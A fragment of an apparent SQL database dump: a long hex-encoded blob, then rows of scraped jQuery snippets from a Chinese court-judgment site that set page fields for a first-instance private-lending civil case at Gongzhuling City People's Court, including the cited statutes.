2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F1301','2018-09-25
18:46:12',0,'web',NULL),(17717549,'a07d7ff3-23ce-4fa3-af2f-f1884f77dfba','$(function(){$(\"#con_llcs\").html(\"浏览：54次\")});$(function(){$(\"#hidRequireLogin\").val(\"0\");$(\"#Content\").html(\"此篇文书不存在!\");});$(function(){});','2018-09-25
18:46:12',0,'web',NULL),(17717550,'9dd4110f-cc76-4b69-906e-a75801101197','$(function(){$(\"#con_llcs\").html(\"浏览：86次\")});$(function(){var
caseinfo=JSON.stringify({\"文书ID\":\"9dd4110f-cc76-4b69-906e-a75801101197\",\"案件名称\":\"原告赵磊与被告蔡建远、王明哲、王宇民间借贷纠纷一案一审民事判决书\",\"案号\":\"（2016）吉0381民初3181号\",\"审判程序\":\"一审\",\"上传日期\":\"\\\/Date(1492358400000)\\\/\",\"案件类型\":\"2\",\"补正文书\":\"2\",\"法院名称\":\"公主岭市人民法院\",\"法院ID\":\"657\",\"法院省份\":\"吉林\",\"法院地市\":\"四平市\",\"法院区县\":\"公主岭市\",\"法院区域\":\"\",\"文书类型\":null,\"文书全文类型\":\"1\",\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null,\"不公开理由\":\"\",\"DocContent\":\"\",\"文本首部段落原文\":\"\",\"诉讼参与人信息部分原文\":\"\",\"诉讼记录段原文\":\"原告赵磊与被告蔡建远、王明哲、王宇民间借贷纠纷一案，本院于2016年10月26日立案后，依法适用普通程序，公开开庭进行了审理。原告赵磊、被告蔡建远到庭参加诉讼，被告王明哲、王宇经传票传唤,无正当理由拒不到庭参加诉讼。本案现已审理终结\",\"案件基本情况段原文\":\"\",\"裁判要旨段原文\":\"\",\"判决结果段原文\":\"\",\"附加原文\":\"\",\"文本尾部原文\":\"\"});$(document).attr(\"title\",\"原告赵磊与被告蔡建远、王明哲、王宇民间借贷纠纷一案一审民事判决书\");$(\"#tdSource\").html(\"原告赵磊与被告蔡建远、王明哲、王宇民间借贷纠纷一案一审民事判决书
（2016）吉0381民初3181号\");$(\"#hidDocID\").val(\"9dd4110f-cc76-4b69-906e-a75801101197\");$(\"#hidCaseName\").val(\"原告赵磊与被告蔡建远、王明哲、王宇民间借贷纠纷一案一审民事判决书\");$(\"#hidCaseNumber\").val(\"（2016）吉0381民初3181号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"公主岭市人民法院\");$(\"#hidCaseType\").val(\"2\");$(\"#HidCourtID\").val(\"657\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"公主岭市人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"民事案件\" },{ name: \"案由\", key: \"reason\", value:
\"民间借贷纠纷\" },{ name: \"审理程序\", key: \"trialRound\", value: \"一审\" },{ name:
\"裁判日期\", key: \"trialDate\", value: \"2016-11-26\" },{ name: \"当事人\", key:
\"appellor\", value: \"赵磊,蔡建远,王明哲,王宇\" }],LegalBase:
[{法规名称:\'《中华人民共和国民法通则》\',Items:[{法条名称:\'第九十条\',法条内容:\' 第九十条
合法的借贷关系受法律保护。
\'}]},{法规名称:\'《中华人民共和国担保法》\',Items:[{法条名称:\'第六条\',法条内容:\'
第六条
本法所称保证，是指保证人和债权人约定，当债务人不履行债务时，保证人按照约定履行债务或者承担责任的行为。
\'},{法条名称:\'第十二条\',法条内容:\'
第十二条
同一债务有两个以上保证人的，保证人应当按照保证合同约定的保证份额，承担保证责任。没有约定保证份额的，保证人承担连带责任，债权人可以要求任何一个保证人承担全部保证责任，保证人都负有担保全部债权实现的义务。已经承担保证责任的保证人，有权向债务人追偿，或者要求承担连带责任的其他保证人清偿其应当承担的份额。
\'},{法条名称:\'第十九条\',法条内容:\'
第十九条
当事人对保证方式没有约定或者约定不明确的，按照连带责任保证承担保证责任。
\'}]},{法规名称:\'《中华人民共和国合同法》\',Items:[{法条名称:\'第二百一十一条\',法条内容:\'
第二百一十一条
自然人之间的借款合同对支付利息没有约定或者约定不明确的，视为不支付利息。自然人之间的借款合同约定支付利息的，借款的利率不得违反国家有关限制借款利率的规定。
\'}]},{法规名称:\'《中华人民共和国民事诉讼法》\',Items:[{法条名称:\'第一百四十四条\',法条内容:\'第一百四十四条
系统尚未收录或引用有误
\'}]}]};if ($(\"#divTool_Summary\").length > 0)
{$(\"#divTool_Summary\").ContentSummary({ data: dirData });}});$(function()
{\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"原告赵磊与被告蔡建远、王明哲、王宇民间借贷纠纷一案一审民事判决书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2017-04-17\\\\\",\\\\\